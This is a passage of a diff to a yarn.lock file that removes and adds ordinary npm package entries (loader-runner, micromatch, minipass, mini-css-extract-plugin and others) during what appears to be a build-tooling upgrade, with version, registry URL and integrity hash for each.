   integrity sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==
 
+klona@^2.0.4:
+  version "2.0.4"
+  resolved "https://registry.yarnpkg.com/klona/-/klona-2.0.4.tgz#7bb1e3affb0cb8624547ef7e8f6708ea2e39dfc0"
+  integrity sha512-ZRbnvdg/NxqzC7L9Uyqzf4psi1OM4Cuc+sJAkQPjO6XkQIJTNbfK2Rsmbw8fx1p2mkZdp2FZYo2+LwXYY/uwIA==
+
 labeled-stream-splicer@^2.0.0:
   version "2.0.2"
   resolved "https://registry.yarnpkg.com/labeled-stream-splicer/-/labeled-stream-splicer-2.0.2.tgz#42a41a16abcd46fd046306cf4f2c3576fffb1c21"
@@ -4584,14 +4279,6 @@ labeled-stream-splicer@^2.0.0:
     inherits "^2.0.1"
     stream-splicer "^2.0.0"
 
-last-call-webpack-plugin@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/last-call-webpack-plugin/-/last-call-webpack-plugin-3.0.0.tgz#9742df0e10e3cf46e5c0381c2de90d3a7a2d7555"
-  integrity sha512-7KI2l2GIZa9p2spzPIVZBYyNKkN+e/SQPpnjlTiPhdbDW3F86tdKKELxKpzJ5sgU19wQWsACULZmpTPYHeWO5w==
-  dependencies:
-    lodash "^4.17.5"
-    webpack-sources "^1.1.0"
-
 load-json-file@^1.0.0:
   version "1.1.0"
   resolved "https://registry.yarnpkg.com/load-json-file/-/load-json-file-1.1.0.tgz#956905708d58b4bab4c2261b04f59f31c99374c0"
@@ -4603,10 +4290,10 @@ load-json-file@^1.0.0:
     pinkie-promise "^2.0.0"
     strip-bom "^2.0.0"
 
-loader-runner@^2.4.0:
-  version "2.4.0"
-  resolved "https://registry.yarnpkg.com/loader-runner/-/loader-runner-2.4.0.tgz#ed47066bfe534d7e84c4c7b9998c2a75607d9357"
-  integrity sha512-Jsmr89RcXGIwivFY21FcRrisYZfvLMTWx5kOLc+JTxtpBOG6xML0vzbc6SEQG2FO9/4Fc3wW4LVcB5DmGflaRw==
+loader-runner@^4.2.0:
+  version "4.2.0"
+  resolved "https://registry.yarnpkg.com/loader-runner/-/loader-runner-4.2.0.tgz#d7022380d66d14c5fb1d496b89864ebcfd478384"
+  integrity sha512-92+huvxMvYlMzMt0iIOukcwYBFpkYJdpl2xsZ7LrlayO7E8SOv+JJUEK17B/dJIHAOLMfh2dZZ/Y18WgmGtYNw==
 
 loader-utils@1.2.3:
   version "1.2.3"
@@ -4617,7 +4304,7 @@ loader-utils@1.2.3:
     emojis-list "^2.0.0"
     json5 "^1.0.1"
 
-loader-utils@^1.0.1, loader-utils@^1.0.2, loader-utils@^1.1.0, loader-utils@^1.2.3, loader-utils@^1.4.0:
+loader-utils@^1.4.0:
   version "1.4.0"
   resolved "https://registry.yarnpkg.com/loader-utils/-/loader-utils-1.4.0.tgz#c579b5e34cb34b1a74edc6c1fb36bfa371d5a613"
   integrity sha512-qH0WSMBtn/oHuwjy/NucEgbx5dbxxnxup9s4PVXJUDHZBQY+s0NWA9rJf53RBnQZxfch7euUui7hpoAPvALZdA==
@@ -4670,21 +4357,11 @@ lodash.uniq@^4.5.0:
   resolved "https://registry.yarnpkg.com/lodash.uniq/-/lodash.uniq-4.5.0.tgz#d0225373aeb652adc1bc82e4945339a842754773"
   integrity sha1-0CJTc662Uq3BvILklFM5qEJ1R3M=
 
-lodash@4.17.15:
-  version "4.17.15"
-  resolved "https://registry.yarnpkg.com/lodash/-/lodash-4.17.15.tgz#b447f6670a0455bbfeedd11392eff330ea097548"
-  integrity sha512-8xOcRHvCjnocdS5cpwXQXVzmmh5e5+saE2QGoeQmbKmRS6J3VQppPOIt0MnmE+4xlZoumy0GPG0D0MVIQbNA1A==
-
-"lodash@>=3.5 <5", lodash@^4.0.0, lodash@^4.17.11, lodash@^4.17.14, lodash@^4.17.15, lodash@^4.17.19, lodash@^4.17.20, lodash@^4.17.5, lodash@~4.17.10:
+lodash@^4.0.0, lodash@^4.17.14, lodash@^4.17.15, lodash@^4.17.20, lodash@~4.17.10:
   version "4.17.21"
   resolved "https://registry.yarnpkg.com/lodash/-/lodash-4.17.21.tgz#679591c564c3bffaae8454cf0b3df370c3d6911c"
   integrity sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==
 
-loglevel@^1.6.8:
-  version "1.7.1"
-  resolved "https://registry.yarnpkg.com/loglevel/-/loglevel-1.7.1.tgz#005fde2f5e6e47068f935ff28573e125ef72f197"
-  integrity sha512-Hesni4s5UkWkwCGJMQGAh71PaLUmKFM60dHvq0zi/vDhhrzuk+4GgNbTXJ12YYQJn6ZKBDNIjYcuQGKudvqrIw==
-
 loud-rejection@^1.0.0:
   version "1.6.0"
   resolved "https://registry.yarnpkg.com/loud-rejection/-/loud-rejection-1.6.0.tgz#5b46f80147edee578870f086d04821cf998e551f"
@@ -4701,13 +4378,6 @@ lru-cache@^4.0.1:
     pseudomap "^1.0.2"
     yallist "^2.1.2"
 
-lru-cache@^5.1.1:
-  version "5.1.1"
-  resolved "https://registry.yarnpkg.com/lru-cache/-/lru-cache-5.1.1.tgz#1da27e6710271947695daf6848e847f01d84b920"
-  integrity sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==
-  dependencies:
-    yallist "^3.0.2"
-
 lru-cache@^6.0.0:
   version "6.0.0"
   resolved "https://registry.yarnpkg.com/lru-cache/-/lru-cache-6.0.0.tgz#6d6fe6570ebd96aaf90fcad1dafa3b2566db3a94"
@@ -4715,14 +4385,6 @@ lru-cache@^6.0.0:
   dependencies:
     yallist "^4.0.0"
 
-make-dir@^2.0.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/make-dir/-/make-dir-2.1.0.tgz#5f0310e18b8be898cc07009295a30ae41e91e6f5"
-  integrity sha512-LS9X+dc8KLxXCb8dni79fLIIUA5VyZoyjSMCwTluaXA0o27cCK0bhXkpgw+sTXVpPy/lSO57ilRixqk0vDmtRA==
-  dependencies:
-    pify "^4.0.1"
-    semver "^5.6.0"
-
 make-dir@^3.0.2, make-dir@^3.1.0:
   version "3.1.0"
   resolved "https://registry.yarnpkg.com/make-dir/-/make-dir-3.1.0.tgz#415e967046b3a7f1d185277d84aa58203726a13f"
@@ -4730,23 +4392,18 @@ make-dir@^3.0.2, make-dir@^3.1.0:
   dependencies:
     semver "^6.0.0"
 
-map-cache@^0.2.2:
-  version "0.2.2"
-  resolved "https://registry.yarnpkg.com/map-cache/-/map-cache-0.2.2.tgz#c32abd0bd6525d9b051645bb4f26ac5dc98a0dbf"
-  integrity sha1-wyq9C9ZSXZsFFkW7TyasXcmKDb8=
+map-age-cleaner@^0.1.3:
+  version "0.1.3"
+  resolved "https://registry.yarnpkg.com/map-age-cleaner/-/map-age-cleaner-0.1.3.tgz#7d583a7306434c055fe474b0f45078e6e1b4b92a"
+  integrity sha512-bJzx6nMoP6PDLPBFmg7+xRKeFZvFboMrGlxmNj9ClvX53KrmvM5bXFXEWjbz4cz1AFn+jWJ9z/DJSz7hrs0w3w==
+  dependencies:
+    p-defer "^1.0.0"
 
 map-obj@^1.0.0, map-obj@^1.0.1:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/map-obj/-/map-obj-1.0.1.tgz#d933ceb9205d82bdcf4886f6742bdc2b4dea146d"
   integrity sha1-2TPOuSBdgr3PSIb2dCvcK03qFG0=
 
-map-visit@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/map-visit/-/map-visit-1.0.0.tgz#ecdca8f13144e660f1b5bd41f12f3479d98dfb8f"
-  integrity sha1-7Nyo8TFE5mDxtb1B8S80edmN+48=
-  dependencies:
-    object-visit "^1.0.0"
-
 md5.js@^1.3.4:
   version "1.3.5"
   resolved "https://registry.yarnpkg.com/md5.js/-/md5.js-1.3.5.tgz#b5d07b8e3216e3e27cd728d72f70d1e6a342005f"
@@ -4771,21 +4428,20 @@ media-typer@0.3.0:
   resolved "https://registry.yarnpkg.com/media-typer/-/media-typer-0.3.0.tgz#8710d7af0aa626f8fffa1ce00168545263255748"
   integrity sha1-hxDXrwqmJvj/+hzgAWhUUmMlV0g=
 
-memory-fs@^0.4.1:
-  version "0.4.1"
-  resolved "https://registry.yarnpkg.com/memory-fs/-/memory-fs-0.4.1.tgz#3a9a20b8462523e447cfbc7e8bb80ed667bfc552"
-  integrity sha1-OpoguEYlI+RHz7x+i7gO1me/xVI=
+mem@^8.0.0:
+  version "8.1.1"
+  resolved "https://registry.yarnpkg.com/mem/-/mem-8.1.1.tgz#cf118b357c65ab7b7e0817bdf00c8062297c0122"
+  integrity sha512-qFCFUDs7U3b8mBDPyz5EToEKoAkgCzqquIgi9nkkR9bixxOVOre+09lbuH7+9Kn2NFpm56M3GUWVbU2hQgdACA==
   dependencies:
-    errno "^0.1.3"
-    readable-stream "^2.0.1"
+    map-age-cleaner "^0.1.3"
+    mimic-fn "^3.1.0"
 
-memory-fs@^0.5.0:
-  version "0.5.0"
-  resolved "https://registry.yarnpkg.com/memory-fs/-/memory-fs-0.5.0.tgz#324c01288b88652966d161db77838720845a8e3c"
-  integrity sha512-jA0rdU5KoQMC0e6ppoNRtpp6vjFq6+NY7r8hywnC7V+1Xj/MtHwGIbB1QaK/dunyjWteJzmkpd7ooeWg10T7GA==
+memfs@^3.2.0:
+  version "3.2.2"
+  resolved "https://registry.yarnpkg.com/memfs/-/memfs-3.2.2.tgz#5de461389d596e3f23d48bb7c2afb6161f4df40e"
+  integrity sha512-RE0CwmIM3CEvpcdK3rZ19BC4E6hv9kADkMN5rPduRak58cNArWLi/9jFLsa4rhsjfVxMP3v0jO7FHXq7SvFY5Q==
   dependencies:
-    errno "^0.1.3"
-    readable-stream "^2.0.1"
+    fs-monkey "1.0.3"
 
 meow@^3.7.0:
   version "3.7.0"
@@ -4808,29 +4464,28 @@ merge-descriptors@1.0.1:
   resolved "https://registry.yarnpkg.com/merge-descriptors/-/merge-descriptors-1.0.1.tgz#b00aaa556dd8b44568150ec9d1b953f3f90cbb61"
   integrity sha1-sAqqVW3YtEVoFQ7J0blT8/kMu2E=
 
+merge-stream@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/merge-stream/-/merge-stream-2.0.0.tgz#52823629a14dd00c9770fb6ad47dc6310f2c1f60"
+  integrity sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==
+
+merge2@^1.3.0:
+  version "1.4.1"
+  resolved "https://registry.yarnpkg.com/merge2/-/merge2-1.4.1.tgz#4368892f885e907455a6fd7dc55c0c9d404990ae"
+  integrity sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==
+
 methods@~1.1.2:
   version "1.1.2"
   resolved "https://registry.yarnpkg.com/methods/-/methods-1.1.2.tgz#5529a4d67654134edcc5266656835b0f851afcee"
   integrity sha1-VSmk1nZUE07cxSZmVoNbD4Ua/O4=
 
-micromatch@^3.0.4, micromatch@^3.1.10, micromatch@^3.1.4:
-  version "3.1.10"
-  resolved "https://registry.yarnpkg.com/micromatch/-/micromatch-3.1.10.tgz#70859bc95c9840952f359a068a3fc49f9ecfac23"
-  integrity sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==
-  dependencies:
-    arr-diff "^4.0.0"
-    array-unique "^0.3.2"
-    braces "^2.3.1"
-    define-property "^2.0.2"
-    extend-shallow "^3.0.2"
-    extglob "^2.0.4"
-    fragment-cache "^0.2.1"
-    kind-of "^6.0.2"
-    nanomatch "^1.2.9"
-    object.pick "^1.3.0"
-    regex-not "^1.0.0"
-    snapdragon "^0.8.1"
-    to-regex "^3.0.2"
+micromatch@^4.0.2:
+  version "4.0.4"
+  resolved "https://registry.yarnpkg.com/micromatch/-/micromatch-4.0.4.tgz#896d519dfe9db25fce94ceb7a500919bf881ebf9"
+  integrity sha512-pRmzw/XUcwXGpD9aI9q/0XOwLNygjETJ8y0ao0wdqprrzDa4YnxLcz7fQRZr8voh8V10kGhABbNcHVk5wHgWwg==
+  dependencies:
+    braces "^3.0.1"
+    picomatch "^2.2.3"
 
 miller-rabin@^4.0.0:
   version "4.0.1"
@@ -4845,7 +4500,7 @@ mime-db@1.47.0, "mime-db@>= 1.43.0 < 2":
   resolved "https://registry.yarnpkg.com/mime-db/-/mime-db-1.47.0.tgz#8cb313e59965d3c05cfbf898915a267af46a335c"
   integrity sha512-QBmA/G2y+IfeS4oktet3qRZ+P5kPhCKRXxXnQEudYqUaEioAU1/Lq2us3D/t1Jfo4hE9REQPrbB7K5sOczJVIw==
 
-mime-types@^2.1.12, mime-types@~2.1.17, mime-types@~2.1.19, mime-types@~2.1.24:
+mime-types@^2.1.12, mime-types@^2.1.27, mime-types@^2.1.28, mime-types@~2.1.17, mime-types@~2.1.19, mime-types@~2.1.24:
   version "2.1.30"
   resolved "https://registry.yarnpkg.com/mime-types/-/mime-types-2.1.30.tgz#6e7be8b4c479825f85ed6326695db73f9305d62d"
   integrity sha512-crmjA4bLtR8m9qLpHvgxSChT+XoSlZi8J4n/aIdn3z92e/U47Z0V/yl+Wh9W046GgFVAmoNR/fmdbZYcSSIUeg==
@@ -4857,18 +4512,23 @@ mime@1.6.0:
   resolved "https://registry.yarnpkg.com/mime/-/mime-1.6.0.tgz#32cd9e5c64553bd58d19a568af452acff04981b1"
   integrity sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==
 
-mime@^2.4.4:
-  version "2.5.2"
-  resolved "https://registry.yarnpkg.com/mime/-/mime-2.5.2.tgz#6e3dc6cc2b9510643830e5f19d5cb753da5eeabe"
-  integrity sha512-tqkh47FzKeCPD2PUiPB6pkbMzsCasjxAfC62/Wap5qrUWcb+sFasXUC5I3gYM5iBM8v/Qpn4UK0x+j0iHyFPDg==
+mimic-fn@^2.1.0:
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/mimic-fn/-/mimic-fn-2.1.0.tgz#7ed2c2ccccaf84d3ffcb7a69b57711fc2083401b"
+  integrity sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==
+
+mimic-fn@^3.1.0:
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/mimic-fn/-/mimic-fn-3.1.0.tgz#65755145bbf3e36954b949c16450427451d5ca74"
+  integrity sha512-Ysbi9uYW9hFyfrThdDEQuykN4Ey6BuwPD2kpI5ES/nFTDn/98yxYNLZJcgUAKPT/mcrLLKaGzJR9YVxJrIdASQ==
 
-"mini-css-extract-plugin@>=0.4.0 <0.4.3":
-  version "0.4.2"
-  resolved "https://registry.yarnpkg.com/mini-css-extract-plugin/-/mini-css-extract-plugin-0.4.2.tgz#b3ecc0d6b1bbe5ff14add42b946a7b200cf78651"
-  integrity sha512-ots7URQH4wccfJq9Ssrzu2+qupbncAce4TmTzunI9CIwlQMp2XI+WNUw6xWF6MMAGAm1cbUVINrSjATaVMyKXg==
+mini-css-extract-plugin@^1.0.0:
+  version "1.5.1"
+  resolved "https://registry.yarnpkg.com/mini-css-extract-plugin/-/mini-css-extract-plugin-1.5.1.tgz#c0ac557c48a7de47de3df0768fe037c9cf961f69"
+  integrity sha512-wEpr0XooH6rw/Mlf+9KTJoMBLT3HujzdTrmohPjAzF47N4Q6yAeczQLpRD/WxvAtXvskcXbily7TAdCfi2M4Dg==
   dependencies:
-    loader-utils "^1.1.0"
-    schema-utils "^1.0.0"
+    loader-utils "^2.0.0"
+    schema-utils "^3.0.0"
     webpack-sources "^1.1.0"
 
 minimalistic-assert@^1.0.0, minimalistic-assert@^1.0.1:
@@ -4893,47 +4553,59 @@ minimist@^1.1.0, minimist@^1.1.1, minimist@^1.1.3, minimist@^1.2.0, minimist@^1.
   resolved "https://registry.yarnpkg.com/minimist/-/minimist-1.2.5.tgz#67d66014b66a6a8aaa0c083c5fd58df4e4e97602"
   integrity sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==
 
-mississippi@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/mississippi/-/mississippi-3.0.0.tgz#ea0a3291f97e0b5e8776b363d5f0a12d94c67022"
-  integrity sha512-x471SsVjUtBRtcvd4BzKE9kFC+/2TeWgKCgw0bZcw1b9l2X3QX5vCWgF+KaZaYm87Ss//rHnWryupDrgLvmSkA==
-  dependencies:
-    concat-stream "^1.5.0"
-    duplexify "^3.4.2"
-    end-of-stream "^1.1.0"
-    flush-write-stream "^1.0.0"
-    from2 "^2.1.0"
-    parallel-transform "^1.1.0"
-    pump "^3.0.0"
-    pumpify "^1.3.3"
-    stream-each "^1.1.0"
-    through2 "^2.0.0"
+minipass-collect@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/minipass-collect/-/minipass-collect-1.0.2.tgz#22b813bf745dc6edba2576b940022ad6edc8c617"
+  integrity sha512-6T6lH0H8OG9kITm/Jm6tdooIbogG9e0tLgpY6mphXSm/A9u8Nq1ryBG+Qspiub9LjWlBPsPS3tWQ/Botq4FdxA==
+  dependencies:
+    minipass "^3.0.0"
 
-mixin-deep@^1.2.0:
-  version "1.3.2"
-  resolved "https://registry.yarnpkg.com/mixin-deep/-/mixin-deep-1.3.2.tgz#1120b43dc359a785dce65b55b82e257ccf479566"
-  integrity sha512-WRoDn//mXBiJ1H40rqa3vH0toePwSsGb45iInWlTySa+Uu4k3tYUSxa2v1KqAiLtvlrSzaExqS1gtk96A9zvEA==
+minipass-flush@^1.0.5:
+  version "1.0.5"
+  resolved "https://registry.yarnpkg.com/minipass-flush/-/minipass-flush-1.0.5.tgz#82e7135d7e89a50ffe64610a787953c4c4cbb373"
+  integrity sha512-JmQSYYpPUqX5Jyn1mXaRwOda1uQ8HP5KAT/oDSLCzt1BYRhQU0/hDtsB1ufZfEEzMZ9aAVmsBw8+FWsIXlClWw==
+  dependencies:
+    minipass "^3.0.0"
+
+minipass-pipeline@^1.2.2:
+  version "1.2.4"
+  resolved "https://registry.yarnpkg.com/minipass-pipeline/-/minipass-pipeline-1.2.4.tgz#68472f79711c084657c067c5c6ad93cddea8214c"
+  integrity sha512-xuIq7cIOt09RPRJ19gdi4b+RiNvDFYe5JH+ggNvBqGqpQXcru3PcRmOZuHBKWK1Txf9+cQ+HMVN4d6z46LZP7A==
   dependencies:
-    for-in "^1.0.2"
-    is-extendable "^1.0.1"
+    minipass "^3.0.0"
+
+minipass@^3.0.0, minipass@^3.1.1:
+  version "3.1.3"
+  resolved "https://registry.yarnpkg.com/minipass/-/minipass-3.1.3.tgz#7d42ff1f39635482e15f9cdb53184deebd5815fd"
+  integrity sha512-Mgd2GdMVzY+x3IJ+oHnVM+KG3lA5c8tnabyJKmHSaG2kAGpudxuOf8ToDkhumF7UzME7DecbQE9uOZhNm7PuJg==
+  dependencies:
+    yallist "^4.0.0"
+
+minizlib@^2.1.1:
+  version "2.1.2"
+  resolved "https://registry.yarnpkg.com/minizlib/-/minizlib-2.1.2.tgz#e90d3466ba209b932451508a11ce3d3632145931"
+  integrity sha512-bAxsR8BVfj60DWXHE3u30oHzfl4G7khkSuPW+qvpd7jFRHm7dLxOjUk1EHACJ/hxLY8phGJ0YhYHZo7jil7Qdg==
+  dependencies:
+    minipass "^3.0.0"
+    yallist "^4.0.0"
 
 mkdirp-classic@^0.5.2:
   version "0.5.3"
   resolved "https://registry.yarnpkg.com/mkdirp-classic/-/mkdirp-classic-0.5.3.tgz#fa10c9115cc6d8865be221ba47ee9bed78601113"
   integrity sha512-gKLcREMhtuZRwRAfqP3RFW+TK4JqApVBtOIftVgjuABpAtpxhPGaDcfvbhNvD0B8iD1oUr/txX35NjcaY6Ns/A==
 
-mkdirp@1.0.4:
-  version "1.0.4"
-  resolved "https://registry.yarnpkg.com/mkdirp/-/mkdirp-1.0.4.tgz#3eb5ed62622756d79a5f0e2a221dfebad75c2f7e"
-  integrity sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==
-
-"mkdirp@>=0.5 0", mkdirp@^0.5.0, mkdirp@^0.5.1, mkdirp@^0.5.3, mkdirp@^0.5.5, mkdirp@~0.5.1:
+"mkdirp@>=0.5 0", mkdirp@^0.5.0, mkdirp@^0.5.1, mkdirp@^0.5.5, mkdirp@~0.5.1:
   version "0.5.5"
   resolved "https://registry.yarnpkg.com/mkdirp/-/mkdirp-0.5.5.tgz#d91cefd62d1436ca0f41620e251288d420099def"
   integrity sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==
   dependencies:
     minimist "^1.2.5"
 
+mkdirp@^1.0.3, mkdirp@^1.0.4:
+  version "1.0.4"
+  resolved "https://registry.yarnpkg.com/mkdirp/-/mkdirp-1.0.4.tgz#3eb5ed62622756d79a5f0e2a221dfebad75c2f7e"
+  integrity sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==
+
 module-deps@^6.2.3:
   version "6.2.3"
   resolved "https://registry.yarnpkg.com/module-deps/-/module-deps-6.2.3.tgz#15490bc02af4b56cf62299c7c17cba32d71a96ee"
@@ -4955,7 +4627,7 @@ module-deps@^6.2.3:
     through2 "^2.0.0"
     xtend "^4.0.0"
 
-moment@^2.10.2, moment@^2.24, moment@^2.29.1, moment@^2.9.0:
+moment@^2.10.2, moment@^2.24, moment@^2.29, moment@^2.9.0:
   version "2.29.1"
   resolved "https://registry.yarnpkg.com/moment/-/moment-2.29.1.tgz#b2be769fa31940be9eeea6469c075e35006fa3d3"
   integrity sha512-kHmoybcPV8Sqy59DwNDY3Jefr64lK/by/da0ViFcuA4DH0vQg5Q6Ze5VimxkfQNSC+Mls/Kx53s7TjP1RhFEDQ==
@@ -4965,18 +4637,6 @@ morris.js@^0.5:
   resolved "https://registry.yarnpkg.com/morris.js/-/morris.js-0.5.0.tgz#725767135cfae059aae75999bb2ce6a1c5d1b44b"
   integrity sha1-cldnE1z64Fmq51mZuyzmocXRtEs=
 
-move-concurrently@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/move-concurrently/-/move-concurrently-1.0.1.tgz#be2c005fda32e0b29af1f05d7c4b33214c701f92"
-  integrity sha1-viwAX9oy4LKa8fBdfEszIUxwH5I=
-  dependencies:
-    aproba "^1.1.1"
-    copy-concurrently "^1.0.0"
-    fs-write-stream-atomic "^1.0.8"
-    mkdirp "^0.5.1"
-    rimraf "^2.5.4"
-    run-queue "^1.0.3"
-
 ms@2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/ms/-/ms-2.0.0.tgz#5608aeadfc00be6c2901df5f9861788de0d597c8"
@@ -5010,34 +4670,22 @@ multicast-dns@^6.0.1:
     dns-packet "^1.3.1"
     thunky "^1.0.2"
 
-nan@^2.12.1, nan@^2.13.2:
+nan@^2.13.2:
   version "2.14.2"
   resolved "https://registry.yarnpkg.com/nan/-/nan-2.14.2.tgz#f5376400695168f4cc694ac9393d0c9585eeea19"
   integrity sha512-M2ufzIiINKCuDfBSAUr1vWQ+vuVcA9kqx8JJUsbQi6yf1uGRyb7HfpdfUr5qLXf3B/t8dPvcjhKMmlfnP47EzQ==
 
-nanomatch@^1.2.9:
-  version "1.2.13"
-  resolved "https://registry.yarnpkg.com/nanomatch/-/nanomatch-1.2.13.tgz#b87a8aa4fc0de8fe6be88895b38983ff265bd119"
-  integrity sha512-fpoe2T0RbHwBTBUOftAfBPaDEi06ufaUai0mE6Yn1kacc3SnTErfb/h+X94VXzI64rKFHYImXSvdwGGCmwOqCA==
-  dependencies:
-    arr-diff "^4.0.0"
-    array-unique "^0.3.2"
-    define-property "^2.0.2"
-    extend-shallow "^3.0.2"
-    fragment-cache "^0.2.1"
-    is-windows "^1.0.2"
-    kind-of "^6.0.2"
-    object.pick "^1.3.0"
-    regex-not "^1.0.0"
-    snapdragon "^0.8.1"
-    to-regex "^3.0.1"
+nanoid@^3.1.22:
+  version "3.1.22"
+  resolved "https://registry.yarnpkg.com/nanoid/-/nanoid-3.1.22.tgz#b35f8fb7d151990a8aebd5aa5015c03cf726f844"
+  integrity sha512-/2ZUaJX2ANuLtTvqTlgqBQNJoQO398KyJgZloL0PZkC0dpysjncRUPsFe3DUPzz/y3h+u7C46np8RMuvF3jsSQ==
 
 negotiator@0.6.2:
   version "0.6.2"
   resolved "https://registry.yarnpkg.com/negotiator/-/negotiator-0.6.2.tgz#feacf7ccf525a77ae9634436a64883ffeca346fb"
   integrity sha512-hZXc7K2e+PgeI1eDBe/10Ard4ekbfrrqG8Ep+8Jmf4JID2bNg7NvCPOZN+kfF574pFQI7mum2AUqDidoKqcTOw==
 
-neo-async@^2.5.0, neo-async@^2.6.1:
+neo-async@^2.6.2:
   version "2.6.2"
   resolved "https://registry.yarnpkg.com/neo-async/-/neo-async-2.6.2.tgz#b4aafb93e3aeb2d8174ca53cf163ab7d7308305f"
   integrity sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==
@@ -5047,11 +4695,6 @@ next-tick@~1.0.0:
   resolved "https://registry.yarnpkg.com/next-tick/-/next-tick-1.0.0.tgz#ca86d1fe8828169b0120208e3dc8424b9db8342c"
   integrity sha1-yobR/ogoFpsBICCOPchCS524NCw=
 
-nice-try@^1.0.4:
-  version "1.0.5"
-  resolved "https://registry.yarnpkg.com/nice-try/-/nice-try-1.0.5.tgz#a3378a7696ce7d223e88fc9b764bd7ef1089e366"
-  integrity sha512-1nh45deeb5olNY7eX82BkPO7SSxR5SSYJiPTrTdFUVYwAl8CKMA5N9PjTYkHiRjisVcxcQ1HXdLhx2qxxJzLNQ==
-
 node-forge@^0.10.0:
   version "0.10.0"
   resolved "https://registry.yarnpkg.com/node-forge/-/node-forge-0.10.0.tgz#32dea2afb3e9926f02ee5ce8794902691a676bf3"
@@ -5075,35 +4718,6 @@ node-gyp@^3.8.0:
     tar "^2.0.0"
     which "1"
 
-node-libs-browser@^2.2.1:
-  version "2.2.1"
-  resolved "https://registry.yarnpkg.com/node-libs-browser/-/node-libs-browser-2.2.1.tgz#b64f513d18338625f90346d27b0d235e631f6425"
-  integrity sha512-h/zcD8H9kaDZ9ALUWwlBUDo6TKF8a7qBSCSEGfjTVIYeqsioSKaAX+BN7NgiMGp6iSIXZ3PxgCu8KS3b71YK5Q==
-  dependencies:
-    assert "^1.1.1"
-    browserify-zlib "^0.2.0"
-    buffer "^4.3.0"
-    console-browserify "^1.1.0"
-    constants-browserify "^1.0.0"
-    crypto-browserify "^3.11.0"
-    domain-browser "^1.1.1"
-    events "^3.0.0"
-    https-browserify "^1.0.0"
-    os-browserify "^0.3.0"
-    path-browserify "0.0.1"
-    process "^0.11.10"
-    punycode "^1.2.4"
-    querystring-es3 "^0.2.0"
-    readable-stream "^2.3.3"
-    stream-browserify "^2.0.1"
-    stream-http "^2.7.2"
-    string_decoder "^1.0.0"
-    timers-browserify "^2.0.4"
-    tty-browserify "0.0.0"
-    url "^0.11.0"
-    util "^0.11.0"
-    vm-browserify "^1.0.1"
-
 node-notifier@^9.0.0:
   version "9.0.1"
   resolved "https://registry.yarnpkg.com/node-notifier/-/node-notifier-9.0.1.tgz#cea837f4c5e733936c7b9005e6545cea825d1af4"
@@ -5121,7 +4735,7 @@ node-releases@^1.1.71:
   resolved "https://registry.yarnpkg.com/node-releases/-/node-releases-1.1.71.tgz#cb1334b179896b1c89ecfdd4b725fb7bbdfc7dbb"
   integrity sha512-zR6HoT6LrLCRBwukmrVbHv0EpEQjksO6GmFcZQQuCAy139BEsoVKPYnf3jongYW83fAa1torLGYwxxky/p28sg==
 
-node-sass@^4.14.1:
+node-sass@^4.14:
   version "4.14.1"
   resolved "https://registry.yarnpkg.com/node-sass/-/node-sass-4.14.1.tgz#99c87ec2efb7047ed638fb4c9db7f3a42e2217b5"
   integrity sha512-sjCuOlvGyCJS40R8BscF5vhVlQjNN069NtQ1gSxyK1u9iqvn6tf7O1R4GNowVZfiZUCRt5MmMs1xd+4V/7Yr0g==
@@ -5161,13 +4775,6 @@ normalize-package-data@^2.3.2, normalize-package-data@^2.3.4:
     semver "2 || 3 || 4 || 5"
     validate-npm-package-license "^3.0.1"
 
-normalize-path@^2.1.1:
-  version "2.1.1"
-  resolved "https://registry.yarnpkg.com/normalize-path/-/normalize-path-2.1.1.tgz#1ab28b556e198363a8c1a6f7e6fa20137fe6aed9"
-  integrity sha1-GrKLVW4Zg2Oowab35vogE3/mrtk=
-  dependencies:
-    remove-trailing-separator "^1.0.1"
-
 normalize-path@^3.0.0, normalize-path@~3.0.0:
   version "3.0.0"
